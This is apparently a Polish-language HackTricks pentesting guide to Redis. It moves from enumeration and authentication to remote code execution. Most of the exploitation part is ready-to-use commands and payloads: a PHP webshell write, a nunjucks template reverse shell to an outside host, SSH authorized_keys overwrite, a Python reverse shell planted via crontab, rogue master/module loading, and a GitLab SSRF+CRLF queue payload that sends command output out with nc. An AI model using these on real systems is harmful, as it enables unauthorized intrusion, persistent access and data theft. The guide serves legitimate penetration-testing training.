# 6379 - Pentesting Redis {{#include ../banners/hacktricks-training.md}} ## Podstawowe informacje Z [dokumentacji](https://redis.io/topics/introduction): Redis to otwarte źródło (licencja BSD), w pamięci **magazyn struktur danych**, używany jako **baza danych**, pamięć podręczna i broker wiadomości. Domyślnie Redis używa protokołu opartego na czystym tekście, ale musisz pamiętać, że może również implementować **ssl/tls**. Dowiedz się, jak [uruchomić Redis z ssl/tls tutaj](https://fossies.org/linux/redis/TLS.md). **Domyślny port:** 6379 ``` PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 4.0.9 ``` ## Automatyczna Enumeracja Niektóre zautomatyzowane narzędzia, które mogą pomóc w uzyskaniu informacji z instancji redis: ```bash nmap --script redis-info -sV -p 6379 msf> use auxiliary/scanner/redis/redis_server ``` ## Ręczna enumeracja ### Baner Redis to **protokół oparty na tekście**, możesz po prostu **wysłać polecenie w gnieździe** i zwrócone wartości będą czytelne. Pamiętaj również, że Redis może działać z użyciem **ssl/tls** (ale to jest bardzo dziwne). W standardowej instancji Redis możesz po prostu połączyć się za pomocą `nc` lub możesz również użyć `redis-cli`: ```bash nc -vn 10.10.10.10 6379 redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools ``` Pierwszym poleceniem, które możesz spróbować, jest **`info`**. Może to zwrócić wynik z informacjami o instancji Redis **lub coś** takiego jak poniżej: ``` -NOAUTH Authentication required. ``` W tym ostatnim przypadku oznacza to, że **potrzebujesz ważnych poświadczeń** do uzyskania dostępu do instancji Redis. ### Uwierzytelnianie Redis **Domyślnie** Redis można uzyskać **bez poświadczeń**. Jednak można go **skonfigurować** tak, aby obsługiwał **tylko hasło lub nazwę użytkownika + hasło**.\ Możliwe jest **ustawienie hasła** w pliku _**redis.conf**_ za pomocą parametru `requirepass` **lub tymczasowo** do momentu ponownego uruchomienia usługi, łącząc się z nią i wykonując: `config set requirepass p@ss$12E45`.\ Ponadto, **nazwa użytkownika** może być skonfigurowana w parametrze `masteruser` w pliku _**redis.conf**_. > [!NOTE] > Jeśli skonfigurowano tylko hasło, używana nazwa użytkownika to "**default**".\ > Należy również zauważyć, że **nie ma sposobu, aby zewnętrznie** ustalić, czy Redis został skonfigurowany tylko z hasłem, czy z nazwą użytkownika + hasłem. W przypadkach takich jak ten będziesz **musiał znaleźć ważne poświadczenia**, aby interagować z Redis, więc możesz spróbować [**brute-force**](../generic-hacking/brute-force.md#redis).\ **W przypadku znalezienia ważnych poświadczeń musisz uwierzytelnić sesję** po nawiązaniu połączenia za pomocą polecenia: ```bash AUTH ``` **Ważne dane uwierzytelniające** będą odpowiedziane: `+OK` ### **Uwierzytelniona enumeracja** Jeśli serwer Redis zezwala na **anonimowe połączenia** lub jeśli uzyskałeś ważne dane uwierzytelniające, możesz rozpocząć proces enumeracji usługi, używając następujących **komend**: ```bash INFO [ ... Redis response with info ... ] client list [ ... Redis response with connected clients ... ] CONFIG GET * [ ... Get config ... ] ``` **Inne polecenia Redis** [**można znaleźć tutaj**](https://redis.io/topics/data-types-intro) **i** [**tutaj**](https://lzone.de/cheat-sheet/Redis)**.** Zauważ, że **polecenia Redis instancji mogą być zmieniane** lub usuwane w pliku _redis.conf_. Na przykład ta linia usunie polecenie FLUSHDB: ``` rename-command FLUSHDB "" ``` Więcej informacji na temat bezpiecznej konfiguracji usługi Redis tutaj: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04) Możesz również **monitorować w czasie rzeczywistym polecenia Redis** wykonywane za pomocą polecenia **`monitor`** lub uzyskać **25 najwolniejszych zapytań** za pomocą **`slowlog get 25`** Znajdź więcej interesujących informacji na temat poleceń Redis tutaj: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis) ### **Zrzut bazy danych** Wewnątrz Redis **bazy danych to liczby zaczynające się od 0**. Możesz sprawdzić, czy którakolwiek jest używana w wyniku polecenia `info` w sekcji "Keyspace": ![](<../images/image (766).png>) Lub możesz po prostu uzyskać wszystkie **przestrzenie kluczy** (bazy danych) za pomocą: ``` INFO keyspace ``` W tym przykładzie używane są **bazy danych 0 i 1**. **Baza danych 0 zawiera 4 klucze, a baza danych 1 zawiera 1**. Domyślnie Redis używa bazy danych 0. Aby zrzucić na przykład bazę danych 1, musisz wykonać: ```bash SELECT 1 [ ... Indicate the database ... ] KEYS * [ ... Get Keys ... ] GET [ ... Get Key ... ] ``` W przypadku wystąpienia następującego błędu `-WRONGTYPE Operation against a key holding the wrong kind of value` podczas uruchamiania `GET `, może to być spowodowane tym, że klucz może być czymś innym niż ciąg lub liczba całkowita i wymaga specjalnego operatora do wyświetlenia. Aby poznać typ klucza, użyj polecenia `TYPE`, przykład poniżej dla kluczy listy i hasha. ```bash TYPE [ ... Type of the Key ... ] LRANGE 0 -1 [ ... Get list items ... ] HGET [ ... Get hash item ... ] # If the type used is weird you can always do: DUMP ``` **Zrzut bazy danych za pomocą npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **lub python** [**redis-utils**](https://pypi.org/project/redis-utils/) ## Redis RCE ### Interaktywna powłoka [**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) może automatycznie uzyskać interaktywną powłokę lub powłokę zwrotną w Redis(<=5.0.5). ``` ./redis-rogue-server.py --rhost --lhost ``` ### PHP Webshell Info z [**tutaj**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Musisz znać **ścieżkę** do **folderu strony internetowej**: ``` root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /usr/share/nginx/html OK 10.85.0.52:6379> config set dbfilename redis.php OK 10.85.0.52:6379> set test "" OK 10.85.0.52:6379> save OK ``` ​Jeśli wystąpi wyjątek dostępu do webshella, możesz opróżnić bazę danych po wykonaniu kopii zapasowej i spróbować ponownie, pamiętaj, aby przywrócić bazę danych. ### Szablon Webshell Podobnie jak w poprzedniej sekcji, możesz również nadpisać niektóry plik szablonu html, który będzie interpretowany przez silnik szablonów i uzyskać powłokę. Na przykład, w oparciu o [**ten artykuł**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), możesz zobaczyć, że atakujący wstrzyknął **rev shell w html** interpretowany przez **silnik szablonów nunjucks:** ```javascript {{ ({}).constructor.constructor( "var net = global.process.mainModule.require('net'), cp = global.process.mainModule.require('child_process'), sh = cp.spawn('sh', []); var client = new net.Socket(); client.connect(1234, 'my-server.com', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); });" )()}} ``` > [!WARNING] > Zauważ, że **kilka silników szablonów buforuje** szablony w **pamięci**, więc nawet jeśli je nadpiszesz, nowy **nie zostanie wykonany**. W takich przypadkach albo deweloper pozostawił aktywne automatyczne przeładowanie, albo musisz przeprowadzić DoS na usłudze (i oczekiwać, że zostanie ona automatycznie uruchomiona ponownie). ### SSH Przykład [stąd](https://blog.adithyanak.com/oscp-preparation-guide/enumeration) Proszę pamiętać, że wynik **`config get dir`** może się zmienić po innych ręcznych poleceniach eksploatacyjnych. Sugeruję uruchomić je jako pierwsze zaraz po zalogowaniu się do Redis. W wyniku **`config get dir`** możesz znaleźć **dom** użytkownika **redis** (zwykle _/var/lib/redis_ lub _/home/redis/.ssh_), a znając to, wiesz, gdzie możesz zapisać plik `authenticated_users`, aby uzyskać dostęp przez ssh **z użytkownikiem redis**. Jeśli znasz dom innego ważnego użytkownika, w którym masz uprawnienia do zapisu, możesz również to wykorzystać: 1. Wygeneruj parę kluczy publicznych i prywatnych ssh na swoim komputerze: **`ssh-keygen -t rsa`** 2. Zapisz klucz publiczny do pliku : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`** 3. Importuj plik do redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`** 4. Zapisz klucz publiczny do pliku **authorized_keys** na serwerze redis: ``` root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /var/lib/redis/.ssh OK 10.85.0.52:6379> config set dbfilename "authorized_keys" OK 10.85.0.52:6379> save OK ``` 5. Na koniec możesz **ssh** do **serwera redis** z kluczem prywatnym : **ssh -i id_rsa redis@10.85.0.52** **Ta technika jest zautomatyzowana tutaj:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit) Dodatkowo, użytkownicy systemowi mogą być również odkrywani przez sprawdzenie z `config set dir /home/USER`, a po potwierdzeniu nowy `authorized_keys` może być zapisany w `/home/USER/.ssh/authorized_keys`. Użyj [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh), aby przeprowadzić atak brute force z listą nazw użytkowników i nadpisać `authorized_keys`. ### Crontab ``` root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1 OK root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/ OK root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root OK root@Urahara:~# redis-cli -h 10.85.0.52 save OK ``` Ostatni przykład dotyczy Ubuntu, dla **Centos** powyższe polecenie powinno być: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/` Ta metoda może być również używana do zarabiania bitcoinów :[yam](https://www.v2ex.com/t/286981#reply14) ### Załaduj moduł Redis 1. Postępując zgodnie z instrukcjami z [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand), możesz **skompilować moduł redis do wykonywania dowolnych poleceń**. 2. Następnie potrzebujesz sposobu na **przesłanie skompilowanego** modułu. 3. **Załaduj przesłany moduł** w czasie wykonywania za pomocą `MODULE LOAD /path/to/mymodule.so`. 4. **Wyświetl załadowane moduły**, aby sprawdzić, czy zostały poprawnie załadowane: `MODULE LIST`. 5. **Wykonaj** **polecenia**: ``` 127.0.0.1:6379> system.exec "id" "uid=0(root) gid=0(root) groups=0(root)\n" 127.0.0.1:6379> system.exec "whoami" "root\n" 127.0.0.1:6379> system.rev 127.0.0.1 9999 ``` 6. Rozładuj moduł, kiedy chcesz: `MODULE UNLOAD mymodule`. ### Ominięcie piaskownicy LUA [**Tutaj**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) możesz zobaczyć, że Redis używa polecenia **EVAL** do wykonywania **kodów Lua w piaskownicy**. W powiązanym poście możesz zobaczyć **jak to wykorzystać** za pomocą funkcji **dofile**, ale [najwyraźniej](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) nie jest to już możliwe. Tak czy inaczej, jeśli możesz **ominąć piaskownicę Lua**, możesz **wykonywać dowolne** polecenia w systemie. Również z tego samego posta możesz zobaczyć kilka **opcji do spowodowania DoS**. Niektóre **CVEs do ucieczki z LUA**: - [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543) ### Moduł Master-Slave ​Główny redis synchronizuje wszystkie operacje automatycznie z podrzędnym redis, co oznacza, że możemy traktować podatny redis jako podrzędny redis, połączony z głównym redis, który jest przez nas kontrolowany, a następnie możemy wprowadzić polecenie do naszego własnego redis. ``` master redis : 10.85.0.51 (Hacker's Server) slave redis : 10.85.0.52 (Target Vulnerability Server) A master-slave connection will be established from the slave redis and the master redis: redis-cli -h 10.85.0.52 -p 6379 slaveof 10.85.0.51 6379 Then you can login to the master redis to control the slave redis: redis-cli -h 10.85.0.51 -p 6379 set mykey hello set mykey2 helloworld ``` ## SSRF rozmawiając z Redis Jeśli możesz wysłać **czysty tekst** żądanie **do Redis**, możesz **komunikować się z nim**, ponieważ Redis będzie czytał żądanie linia po linii i po prostu odpowie błędami na linie, których nie rozumie: ``` -ERR wrong number of arguments for 'get' command -ERR unknown command 'Host:' -ERR unknown command 'Accept:' -ERR unknown command 'Accept-Encoding:' -ERR unknown command 'Via:' -ERR unknown command 'Cache-Control:' -ERR unknown command 'Connection:' ``` Zatem, jeśli znajdziesz **SSRF vuln** na stronie internetowej i możesz **kontrolować** niektóre **nagłówki** (może z wykorzystaniem luki **CRLF**) lub **parametry POST**, będziesz w stanie wysyłać dowolne polecenia do Redis. ### Przykład: Gitlab SSRF + CRLF do Shell W **Gitlab11.4.7** odkryto lukę **SSRF** oraz **CRLF**. Luka **SSRF** znajdowała się w **funkcjonalności importu projektu z URL** podczas tworzenia nowego projektu i pozwalała na dostęp do dowolnych adresów IP w formie \[0:0:0:0:0:ffff:127.0.0.1] (to uzyska dostęp do 127.0.0.1), a luka **CRLF** została wykorzystana poprzez **dodanie %0D%0A** do **URL**. W związku z tym, możliwe było **wykorzystanie tych luk do komunikacji z instancją Redis**, która **zarządza kolejkami** z **gitlab** i nadużycie tych kolejek w celu **uzyskania wykonania kodu**. Payload nadużycia kolejki Redis to: ``` multi sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}" exec ``` A **URL encode** żądanie **wykorzystujące SSRF** i **CRLF** do wykonania `whoami` i odesłania wyniku za pomocą `nc` to: ``` git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git ``` _Z jakiegoś powodu (jak dla autora_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _skąd pochodzi ta informacja) wykorzystanie działało z schematem `git`, a nie z schematem `http`._ {{#include ../banners/hacktricks-training.md}}